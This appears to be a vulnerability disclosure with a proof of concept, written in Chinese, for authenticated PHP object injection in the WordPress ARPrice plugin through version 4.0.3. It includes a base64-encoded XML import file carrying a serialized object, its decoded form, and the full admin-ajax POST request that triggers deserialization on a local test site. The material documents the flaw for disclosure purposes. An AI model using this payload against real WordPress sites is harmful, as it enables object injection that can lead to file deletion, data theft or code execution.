ARPrice <= 4.0.3 - 需认证（订阅者+）PHP 对象注入
WordPress 的 ARPrice 插件在 4.0.3 及更早版本中，通过反序列化不受信任的输入而存在 PHP 对象注入漏洞。这使得具有订阅者及以上级别访问权限的已认证攻击者能够注入 PHP 对象。受影响的软件中不存在已知的 POP 链。如果目标系统上安装的其他插件或主题中存在 POP 链，攻击者则可能利用它删除任意文件、检索敏感数据或执行代码。
我将文件放置在 /wp-content/uploads/arprice-responsive-pricing-table/import/poc.txt
PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPGFycGxpdGU+CiAgICA8YXJwbGl0ZV90YWJsZSBpZD0nMSc+CiAgICAgICAgPG9wdGlvbnM+CiAgICAgICAgICAgIDxnZW5lcmFsX29wdGlvbnM+PCFbQ0RBVEFbTzoyMDoiUEhQX09iamVjdF9JbmplY3Rpb24iOjA6e31dXT48L2dlbmVyYWxfb3B0aW9ucz4KICAgICAgICAgICAgPGNvbHVtbl9vcHRpb25zPjwhW0NEQVRBW086MjA6IlBIUF9PYmplY3RfSW5qZWN0aW9uIjowOnt9XV0+PC9jb2x1bW5fb3B0aW9ucz4KICAgICAgICA8L29wdGlvbnM+CiAgICA8L2FycGxpdGVfdGFibGU+CjwvYXJwbGl0ZT4=
<?xml version="1.0" encoding="UTF-8"?>
<arplite>
<arplite_table id='1'>
<options>
<general_options><![CDATA[O:20:"PHP_Object_Injection":0:{}]]></general_options>
<column_options><![CDATA[O:20:"PHP_Object_Injection":0:{}]]></column_options>
</options>
</arplite_table>
</arplite>
POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
Cookie: wordpress_sec_738b26438442006baf5dc1367e0c0fd7=superadmin%7C1736696295%7CjAeKDqFot3EeJ17OqJbVzJnV8BAbAh9l4SucPowT1Tj%7C7b37d87091ff9857d79cb643cca70d5b104da43d2032a71f9dfd0e6f967bc09b; wp-settings-1=libraryContent%3Dbrowse; wp-settings-time-1=1736265454; wp_woocommerce_session_738b26438442006baf5dc1367e0c0fd7=1%7C%7C1736588413%7C%7C1736584813%7C%7C62d25bef9812be1675d63240f6e61152; woomotiv_seen_custompop_738b26438442006baf5dc1367e0c0fd7=1; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_738b26438442006baf5dc1367e0c0fd7=superadmin%7C1736696295%7CjAeKDqFot3EeJ17OqJbVzJnV8BAbAh9l4SucPowT1Tj%7C4da3279a0630eb32fc7fc4e6e43c29a6797098fed0465fd7cf95ec0b0b505610; tk_ai=PP4UeTX8BFt0i2mAbFY8KcJ%2F; mailpoet_page_view=%7B%22timestamp%22%3A1736525567%7D; PHPSESSID=kkpth7p1v53nnequesoutenggb
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://wp-dev.ddev.site/wp-admin/admin.php?page=arprice_import_export&arprice_import_export_nonce=caee87fa42
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 68
Origin: https://wp-dev.ddev.site
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
action=arplite_import_table&xml_file=poc&_wpnonce_arplite=4c81eaee40
PHP object injection has occurred.